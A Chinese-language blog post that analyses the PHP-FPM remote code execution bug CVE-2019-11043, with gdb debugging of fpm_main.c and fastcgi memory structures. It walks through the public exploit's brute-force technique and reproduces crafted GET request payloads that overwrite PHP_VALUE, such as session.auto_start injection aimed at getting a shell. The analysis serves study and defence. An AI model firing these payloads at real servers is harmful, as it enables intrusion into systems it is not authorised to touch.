“此漏洞非常的棒,特别是利用写的非常的精妙,可以作为二进制结合web的漏洞利用的典范,非常值得思考和学习”,phithon师傅说。
同时也是因为本人也是对结合二进制的web漏洞比较感兴趣,觉得比较的好玩,所以就自己学习和分析一波,如果哪里分析的不对,希望大家可以及时的提出斧正,一起学习进步。
对这个漏洞原理有所了解,但是想更加深入理解怎么利用的,建议直接看第五节
0x1 前言
首先多说一句,纸上得来终觉浅,绝知此事需躬行,一味地下载别人的漏洞环境,用一个exp打一下毫无意义,如果真的想学,还是动手调试一下吧。
我这里提供一下我的调试环境: https://github.com/wonderkun/CTFENV/tree/master/php7.2-fpm-debug
关于漏洞存在的条件就不再说了,这里可能需要说一下的是 php-fpm 的配置了:
1 | [global] |
我把 pm.start_servers
pm.max_spare_servers
都调整成了1,这样 php-fpm 只会启动一个子进程处理请求,我们只需要 gdb attach pid
到这个子进程上,就可以调试了,避免多进程时的一些不必要的麻烦。
0x2 触发异常行为
先看一下nginx的配置
1 | fastcgi_split_path_info ^(.+?\.php)(/.*)$; |
fastcgi_split_path_info
函数会根据提供的正则表表达式, 将请求的URL(不包括?之后的参数部分),分割为两个部分,分别赋值给变量 $fastcgi_script_name
和 $fastcgi_path_info
。
那么首先在index.php中打印出 $_SERVER["PATH_INFO"]
,然后发送如下请求
1 | GET /index.php/test%0atest HTTP/1.1 |
按照预期的行为,由于/index.php/test%0atest
无法被正则表达式 ^(.+?\.php)(/.*)$
分割为两个部分,所以nginx传给php-fpm的变量中 SCRIPT_NAME
为 /index.php/test\ntest
, PATH_INFO
为空,这一点很容易通过抓取nginx 和 fpm 之间的通信数据来验证。
socat -v -x tcp-listen:9090,fork tcp-connect:127.0.0.1:9000
这里的变量名和变量值的长度和内容遵循如下定义(参考fastcgi的通讯协议):
1 | typedef struct { |
它把长度放在内容的前面,这样做导致我们没办法能够使得php-fpm对数据产生误解。到此为止,一切都还在我们的预期的范围内。但是 index.php 打印出来的 $_SERVER["PATH_INFO"]
却是 “PATH_INFO”, 这就非常奇怪了。。。。 为啥传过去的PATH_INFO
是空,打印出来却是有值的?
其实这个问题我和 @rebirthwyw 在做 real world CTF的时候已经注意到了,但是我并没有深层次的去看到底是为啥,错过了一个挖漏洞的好机会,真是tcl 。。。
0x3 调试分析异常原因
gdb attach
之后,程序会停下来,看一下栈帧,我们是停在了 fcgi_accept_request
函数的内部。
1 | ► f 0 7f1071dbe990 __accept_nocancel+7 |
发一个请求,单步跟踪一下,或者全局搜索一下,发现调用点,这里while True
的从客户端接收请求,然后进行处理。
init_request_info
函数是用来初始化客户端发来的请求的全局变量的,这是关注的重点。
单步跟踪此函数,如果开启了fix_pathinfo
,就会进入如下尝试路径自动修复的关键代码。
在这里 script_path_translated
指向的就是全局变量 SCRIPT_FILENAME
, 在这里其实就是 /var/www/html/index.php/test\ntest
。红色箭头执行的函数 tsrm_realpath
是一个求绝对路径的操作,因为/var/www/html/index.php/test\ntest
路径不存在,所以real_path
是 NULL,进入后面的 while
操作, 这里 char *pt = estrndup(script_path_translated, script_path_translated_len);
是一个 malloc + 内容赋值的操作, 所以 pt存储的字符串也是 /var/www/html/index.php/test\ntest
。
看一下 while 的具体操作
1 | while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { |
做一个简单的解释,先去掉 /var/www/html/index.php/test\ntest
最后一个 /
后面的内容,看 /var/www/html/index.php
这个文件是否存在,如果存在,就进入后续的操作。
注意几个长度:
1 | ptlen 是 /var/www/html/index.php 的长度 |
发生问题的关键是如下的操作:
1 | path_info = env_path_info ? env_path_info + pilen - slen : NULL; |
因为 pilen
为0,这里相当于把原来的 env_path_info
强行向前移动了 slen
, 作为新的PATH_INFO
,这里的 slen
刚好是10。
这就解释了发生异常的原因。
0x4 找漏洞利用点
根据前面的分析,slen
是 /test\ntest
的长度,我们应该可以完全控制。 换句话讲,我们可以让 path_info
指向 env_path_info
指向位置的前 slen
个字节的地方,然后这个内容作为新的 PATH_INFO
, 但是这并没有什么用,并不会带来漏洞利用的可能性。
但是需要注意到如下的操作:
这里把 path_info
执行的内存地址的第一个字节,先修改成为 \x0
,然后再修改回原来的值。其实这就是一个任意地址写漏洞,不过限制有两个:
- 只能在
env_path_info
之前的某个位置改一个字节,并且只能把这个字节修改为\x0
- 因为后面还有把这个字节改回来的操作,所以改这一个字节产生的影响的必须在改回来之前就已经被触发了。也就是函数调用
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
或者SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
会用到这个被修改的这一个字节,造成漏洞。
这里面有一个函数调用 FCGI_PUTENV
, 为了搞清楚这个函数,需要先看几个结构体:
1 |
|
结合如上的结构,就对如下代码进行一个简单的分析。
对于每一个 fastcgi 的全局变量,都会先对变量名进行一个 FCGI_HASH_FUNC
计算,计算一个 idx 索引。request.env.hash_table
其实是一个hashmap,在里面对应的 idx 位置存储着全局变量对应的 fcgi_hash_bucket
结构的地址。
打印一下来调试一下验证这一点:
1 |
|
注意 request.env.hash_table
里面存储的是一系列的地址
但是这个地址分配在哪里呢?注意看如下结构体和代码:
1 | typedef struct _fcgi_hash { |
从这些代码中可以看出 request.env.buckets.data
这个数组里面就保存了每个全局变量的对应的 fcgi_hash_bucket
结构。
接下来继续分析,发现 request.env.buckets.data[n].var
和 request.env.buckets.data[n].val
里面分别存贮这全局变量名的地址,和全局变量值的地址,这个地址是由 fcgi_hash_strndup
函数分配得来的。
1 |
|
从这个代码中可以看出,request.env.data
对应的结构体:
1 | typedef struct _fcgi_data_seg { |
是专门用来存储 fastcgi 全局变量的变量名和变量值的一个结构。 如果对c语言比较熟悉,就会明白,这里的char data[1]
并不是表明此元素只占一个字节,这是c语言中定义包含不定长字符串的结构体的常用方法。pos 始终指向了data未使用空间的起始位置。
我感觉我还是没说清楚,画个图吧,假设存储了全局变量 PATH_INFO
之后(为了方便看,我把data字段横着放了)
1 | +---------------------+ |
这也就可以解释为什么所有的全局变量对应的 fcgi_hash_buckets
中的 var
和val
的值总是连续的地址空间。
根据 https://bugs.php.net/bug.php?id=78599 中的漏洞描述,他是修改了 fcgi_hash_buckets
结构中 pos
的最低位,实现的request
全局变量的污染。我们再来看一下函数 fcgi_hash_strndup
,如果可以控制ret = h->data->pos;
那么就可以控制 memcpy(ret, str, str_len);
的写入位置,肯定有机会实现全局变量的污染。
那接下来就需要分析一下可行性了:
env_path_info
指针向前移动,有机会指向fcgi_data_seg.pos
的位置吗?
答案是肯定的,因为 env_path_info
指向了fcgi_data_seg.data
中间的某个位置,他们都是在fcgi_data_seg
结构体空间内的, 这是一个相差不太远的线性空间,只要控制合适的偏移,一定可以指向fcgi_data_seg.pos
的低字节。
- 只有
fcgi_hash_strndup
被调用之后,才会进行memcpy
,在我们上面提到的第二个限制条件下,fcgi_hash_strndup
会被调用到吗?
分析一下代码会发现,只有当注册新的fastcgi全局变量的时候,才会调用fcgi_hash_strndup
,但是非常的凑巧,FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
正好注册了新的变量 ORIG_SCRIPT_NAME
。 这个真是太凑巧了,没有这个函数调用,此漏洞根本没有办法被这么利用。
0x5 巧妙的EXP
接下来的部分才是这篇文章最有意思的部分
经过上面的分析,我们已经从理论上证明了可以污染request
,但是我们没法实现攻击,因为不知道 env_path_info
相对于 fcgi_data_seg.pos
的偏移,另外环境不一样,这个偏移也不会是个恒定值。 那能不能让它变成一个恒定值呢?
我们想一下 env_path_info
相对于 fcgi_data_seg.pos
之间偏移不确定的主要原因是什么?是因为我们不清楚env_path_info
之前的位置都存储了哪些全局变量的 var 和 val,他们是多长。但是如果 PATH_INFO
全局变量可以存储在 fcgi_data_seg.data
的开头,那情况就不一样了,如下图所示:
1 | char *pos |
可以看到 env_path_info
和 fcgi_data_seg.pos
的地址的最低字节相差 34,这就是一个恒定值。
那目标就是要让PATH
存储在 fcgi_data_seg.data
的首部,这样偏移就确定了。能否办到呢?
来再看一下如下代码:
1 | static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) |
初始化的时候 fcgi_data_seg
的结构体大小是 sizeof(fcgi_data_seg) - 1 + seg_size
,考虑一下 0x10 对齐,所以大小应该是 4096+32
。 如果在存储 PATH_INFO
的时候,刚好空间不够用,也就是 h->data->pos + str_len + 1 >= h->data->end
,那么就会触发一次malloc,分配一块新的chunk,并且 PATH_INFO
就会存储在这个堆块的首部。
但是攻击者是盲测的,攻击者怎么知道什么时候触发了 malloc
?有没有什么标志特征呢?这就要看这个巧妙的poc了。
1 | GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQ... HTTP/1.1 |
利用这个payload,爆破 Q 的个数,直到 php-fpm 产生一次crash( 也就是返回404状态的时候),就说明产生了 malloc
。为什么是这样的?
首先需要知道 Q 会在fastcgi的两个全局变量中出现,分别是 QUERY_STRING
和 REQUEST_URI
两个地方出现。
增加 Q 的个数,势必会占用之前的 fcgi_data_seg.data
的存储空间,导致在存储 PATH_INFO
的时候,原本的空间不够用,malloc新的空间。但是为什么 crash 的时候,就一定进行了malloc
操作了呢?
这个精妙之处就需要看payload中的URL /PHP%0Ais_the_shittiest_lang.php
, 此字符串的长度表示 env_path_info
向前移动的字节数,这里长度是30
, 可以计算一下 env_path_info - 30
刚好是 fcgi_data_seg.pos
的第五个字节,用户态的地址一般只用了六个字节,这里把第五个字节设置为\x00
,一定会引起一个地址非法,所以就会造成一次崩溃。所以在崩溃的时候,肯定是发生了malloc
,并且是修改掉了fcgi_data_seg.pos
的第五个字节。
造成第一次crash的payload如下:
1 | GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1 |
已经修改成功了。
好,我们尝试一下去修改pos的第一个字节,那么 /PHP%0Ais_the_shittiest_lang.php
应该被扩充到 34
个字节,尝试伪造请求如下:
1 | GET /index.php/PHP%0Ais_the_shittiest_lang.phpxxxx?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1 |
这下见证奇迹的时刻到了,在b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1220
上打上断点,然后单步进行调试,修改前如下图:
修改后:
哎,搞了这么久,终于把这个破 pos
指回去了,可以修改内存中的数据了。
但是问题来了,我们修改点什么才能造成危害呢? 首先想到的就是修改PHP_VALUE
,但是当前的全局变量中并没有 PHP_VALUE
啊,那怎么办? 我们来看一下取全局变量的函数。
1 |
|
我们需要伪造一个变量,它跟PHP_VALUE
的hash一样,并且字符串长度相同,那么在取 PHP_VALUE
的时候就会找到我们伪造的变量的idx索引,但是还是过不了memcmp(p->var, var, var_len) == 0)
这个check,不过这个没有关系,我们不是有内存写吗?直接覆盖掉原来变量的var
即可。
EXP中伪造的变量是 HTTP_EBUT
(http的头字段都会被加上 HTTP_ , 然后大写,注册成变量的), 它和PHP_VALUE
的长度相同,并且hash一样,不信你可以用hash函数算一下。
1 |
|
解决了覆盖内容的问题,但是还有一个问题没有解决,怎么能够让pos
的末尾字节变为0之后,恰好指向全局变量HTTP_EBUT
呢?方法还是爆破。发送payload如下:
1 | GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1 |
不断的增加D-Pisos
的长度,把 HTTP_EBUT
的存储位置向后挤,当返回的响应中出现 Set-Cookie
字段的时候,就说明偏移正确了,覆盖成功。
这一点在内存布局上,也可以直接得到验证。
这HTTP_D_PISOS
就是为了占位置的,把 HTTP_EBUT
向后面挤。
当服务器返回Set-Cookie
头的时候,就说明了PHP_VALUE
覆盖成功了。
再往后面,就是web方面的知识了,就是控制了PHP_VALUE
的情况下怎么getshell,这里感觉不能使用php://input
进行rce,经过朋友的提示,可能是因为 /PHP_VALUE%0Aauto_prepend_file=php://input
的长度太长了,超过了 34 个字节。
0x6 总结
这个漏洞原本只是一个任意地址的单字节置NULL的漏洞,经过外国大佬的一步步寻挖掘,将影响一步一步变大,实现了一个范围内地址可写。同时利用可写范围内的数据特殊性质,最后导致RCE。
更加精妙的是漏洞利用过程,在盲打的情况下,巧妙的利用一些web知识和二进制知识,寻找爆破的边界条件,找到出内存中合适的偏移,
最终实现了RCE,不得不佩服国外大佬的 @Andrew Danau 的技术追求和技术能力。
0x7 参考文献
https://paper.seebug.org/1063/
https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227
http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
http://www.rai4over.cn/2019/10/25/php-fpm-Remote-Code-Execution-%E5%88%86%E6%9E%90-CVE-2019-11043/
https://github.com/neex/phuip-fpizdam
https://bugs.php.net/bug.php?id=78599